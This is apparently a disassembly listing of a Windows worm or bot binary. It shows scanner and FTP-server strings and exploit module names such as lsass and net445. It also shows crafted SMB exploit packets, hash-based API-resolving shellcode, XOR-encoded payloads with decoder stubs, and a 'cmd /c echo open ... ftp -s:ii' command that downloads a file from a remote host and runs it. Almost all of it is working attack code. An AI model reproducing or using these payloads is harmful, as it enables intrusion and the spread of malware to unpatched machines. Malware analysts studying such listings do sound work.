a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+286o
					; sub_41EF30+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+254o
					; sub_41EF30+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+222o
					; sub_41EF30+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+1F3o
					; sub_41EF30+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo
		align 8
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co
		align 4
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FCBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_41FF90:loc_41FFE5o
					; sub_420530+C4r ...
		align 10h
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4200F0+CBo
					; sub_4207E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o
					; sub_4207E0+2BEo
		align 8
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o
		align 8
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420530+52o
		align 10h
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420530+20o
					; sub_420530+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4207E0+34Co
		align 4
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4207E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o
		align 10h
aThemes		db 'Themes',0           ; DATA XREF: sub_4207E0+1F6o
		align 4
aSrservice	db 'srservice',0        ; DATA XREF: sub_4207E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4207E0+1E0o
		align 10h
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4207E0+1D5o
		align 4
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4207E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4207E0+1BFo
		align 10h
aW32time	db 'W32Time',0          ; DATA XREF: sub_4207E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4207E0+1A9o
		align 4
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4207E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4207E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4207E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4207E0+17Do
		align 8
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4207E0+172o
		align 10h
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4207E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4207E0+15Co
		align 8
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4207E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4207E0+13Bo
		align 10h
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4207E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4207E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4207E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4207E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o
		align 4
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4207E0+F9o
		align 8
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4207E0+EEo
		align 4
aNla		db 'Nla',0              ; DATA XREF: sub_4207E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4207E0+D8o
		align 10h
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4207E0+CDo
		align 4
off_44530C	dd offset byte_4D444D	; DATA XREF: sub_4207E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4207E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o
		align 10h
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4207E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4207E0+A5o
		align 10h
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do
		align 10h
		dd 2 dup(0)
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4207E0+95o
		align 8
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4207E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4207E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4207E0+7Do
		align 4
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4207E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4207E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4207E0+65o
		align 4
aBrowser	db 'Browser',0          ; DATA XREF: sub_4207E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4207E0+55o
					; sub_4207E0:loc_420A6Bo
		align 10h
asc_4453E0:				; DATA XREF: sub_420E10:loc_420ECFo
					; sub_420E10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420E10+94o
					; sub_420E10:loc_42107Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420E10+84o
					; sub_420E10+257o ...
		align 10h
aAsn		db 'asn',0              ; DATA XREF: sub_4228F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_445418	dd 1BDh							; sub_422B40+310o ...
off_44541C	dd offset sub_401820	; DATA XREF: ___:00423F8Dr
dword_445420	dd 0							; sub_4236F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401820h, 0
		dd 1, 0
aNet445		db 'net445',0
		align 10h
		dd 656E0000h, 35343474h, 6 dup(0)
		dd 1BDh, 402199h, 0
		dd 1, 0
aLsass		db 'lsass',0
		align 4
		dd 736C0000h, 737361h, 6 dup(0)
		dd 1BDh, 401DCAh, 0
		dd 1, 1Fh dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422B40+8F3o
		db 0
		align 4
		dd 3 dup(0)
aSequential	db 'sequential',0       ; DATA XREF: sub_422B40+8B3o
		align 8
aRandom		db 'random',0           ; DATA XREF: sub_422B40+8ACo
		align 10h
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o
		align 4
		dd 0
aB		db ' -b',0              ; DATA XREF: sub_422B40+747o
off_4455E0	dd offset dword_612D20	; DATA XREF: sub_422B40+737o
					; sub_422B40+7A3o ...
dword_4455E4	dd 722D20h						; sub_422B40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o
		align 10h
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422B40+397o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422B40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422B40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o
		align 10h
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo
		align 8
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o
		align 8
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o
		align 10h
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o
		align 8
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422B40+6Do
		align 4
		dd 0
dword_4456DC	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o
		align 10h
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423C25o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o
		align 10h
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo
					; ___:off_447670o
		align 8
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o
		align 10h
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423DD6o
		align 10h
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004242B7o
		align 4
		dd 3 dup(0)
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424206o
		dd 3 dup(0)
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042414Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424920+BDo
		align 10h
dword_4458A0	dd 10FF8h, 0	dword_4458A8	dd 10FF8h	dword_4458AC	dd 7FFDF020h, 0	dword_4458B4	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44593C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_44596C	dd 0		dword_445970	dd 800000D4h			align 8

; =============== S U B	R O U T	I N E =======================================



sub_445978	proc near		; DATA XREF: sub_425100+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_445A74
		push	dword ptr [esi]
		push	63D61209h
		call	sub_445A8A
		mov	[esi+8], eax
		call	sub_445A3D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_445A8A
		mov	[esi+0Ch], eax
		call	sub_4459EF
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_445A8A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_445978	endp


; =============== S U B	R O U T	I N E =======================================



sub_4459EF	proc near		; CODE XREF: sub_445978+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_445A18
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4459EF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A18	proc near		; CODE XREF: sub_4459EF+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_445A27:				; CODE XREF: sub_445A18+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_445A34
		inc	ebx
		jmp	short loc_445A27
; ---------------------------------------------------------------------------


loc_445A34:				; CODE XREF: sub_445A18+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_445A18	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A3D	proc near		; CODE XREF: sub_445978+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_445A55:				; CODE XREF: sub_445A3D+1Ej
		cmp	[ecx], ebx
		jz	short loc_445A5D
		mov	ecx, [ecx]
		jmp	short loc_445A55
; ---------------------------------------------------------------------------


loc_445A5D:				; CODE XREF: sub_445A3D+1Aj
		mov	edx, edi


loc_445A5F:				; CODE XREF: sub_445A3D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_445A69
		mov	edx, [edx+4]
		jmp	short loc_445A5F
; ---------------------------------------------------------------------------


loc_445A69:				; CODE XREF: sub_445A3D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_445A3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A74	proc near		; CODE XREF: sub_445978+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_445A74	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A8A	proc near		; CODE XREF: sub_445978+16p
					; sub_445978+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_445AA0:				; CODE XREF: sub_445A8A+33j
		jecxz	short loc_445ADA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_445AAD:				; CODE XREF: sub_445A8A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_445AB9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_445AAD
; ---------------------------------------------------------------------------


loc_445AB9:				; CODE XREF: sub_445A8A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_445AA0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_445ADA:				; CODE XREF: sub_445A8A:loc_445AA0j
					; sub_445A8A:loc_445ADAj
		jmp	short loc_445ADA
sub_445A8A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_445AE0	proc near		; DATA XREF: sub_425100+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_445B32
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_445AFD:				; CODE XREF: sub_445AE0+38j
		jecxz	short loc_445B2D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_445B08:				; CODE XREF: sub_445AE0+32j
		lodsb
		test	al, al
		jz	short loc_445B14
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_445B08
; ---------------------------------------------------------------------------


loc_445B14:				; CODE XREF: sub_445AE0+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_445AFD
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_445B2D:				; CODE XREF: sub_445AE0:loc_445AFDj
		mov	[esp+arg_0], ebx
		retn
sub_445AE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_445B32	proc near		; CODE XREF: sub_445AE0+7p

; FUNCTION CHUNK AT 00445B6A SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_445B4B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_445B56
; ---------------------------------------------------------------------------


loc_445B4B:				; CODE XREF: sub_445B32+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_445B56:				; CODE XREF: sub_445B32+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_445B6A
sub_445B32	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445B5D	proc near		; CODE XREF: sub_445B32:loc_445B6Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_445B5D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445B32


loc_445B6A:				; CODE XREF: sub_445B32+29j
		call	sub_445B5D
; END OF FUNCTION CHUNK	FOR sub_445B32
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_445C04	dd 23h		dword_445C08	dd 60h		dword_445C0C	dd 62B0606h, 2050501h, 0A0hdword_445C18	dd 0A1h		dword_445C1C	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424920+16Do
		align 4


loc_445C28:				; DATA XREF: sub_424920+100o
		jmp	short near ptr dword_445C30
; ---------------------------------------------------------------------------
		align 10h
dword_445C30	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425100+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_445CEA

; =============== S U B	R O U T	I N E =======================================



sub_445CDA	proc far		; CODE XREF: sub_445CDA:loc_445CEAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_445CE2:				; CODE XREF: sub_445CDA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_445CE2
		jmp	short loc_445CEF
; ---------------------------------------------------------------------------


loc_445CEA:				; CODE XREF: ___:00445CD8j
		call	near ptr sub_445CDA


loc_445CEF:				; CODE XREF: sub_445CDA+Ej
		jo	short loc_445D53
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_445D71
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_445D53:				; CODE XREF: sub_445CDA:loc_445CEFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_445D71:				; CODE XREF: sub_445CDA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_445CDA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_445E18:				; DATA XREF: sub_4257F0+12Bo
					; sub_4257F0+135o ...
		jmp	short loc_445E2A

; =============== S U B	R O U T	I N E =======================================



sub_445E1A	proc near		; CODE XREF: sub_445E1A:loc_445E2Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_445E22:				; CODE XREF: sub_445E1A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_445E22
		jmp	short loc_445E2F
; ---------------------------------------------------------------------------


loc_445E2A:				; CODE XREF: ___:loc_445E18j
		call	sub_445E1A


loc_445E2F:				; CODE XREF: sub_445E1A+Ej
		jo	short near ptr dword_445DA8+1Eh
		cwde
		cdq
		cdq
		retn
sub_445E1A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_445EC8	dw 4B9Dh		; DATA XREF: sub_4257F0+105w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_445FB0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:00425E52o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44603C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425E87o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_4460E8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425EB6o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4461C8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+5Do
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
		db 43h,	0, 24h
dword_44621F	dd 3F000000h	dword_446223	dd 3F3F3F3Fh	byte_446227	db 0			; DATA XREF: sub_4257F0+B4r
		dd 0
dword_44622C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2C2o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_446298	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2F5o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44633C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+3FAo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4463BC	dd offset sub_401492+3	; DATA XREF: sub_4257F0+42Bo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_446450	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+335o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4464BC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+368o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_446530	dd 0				dd offset byte_40A893+7
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
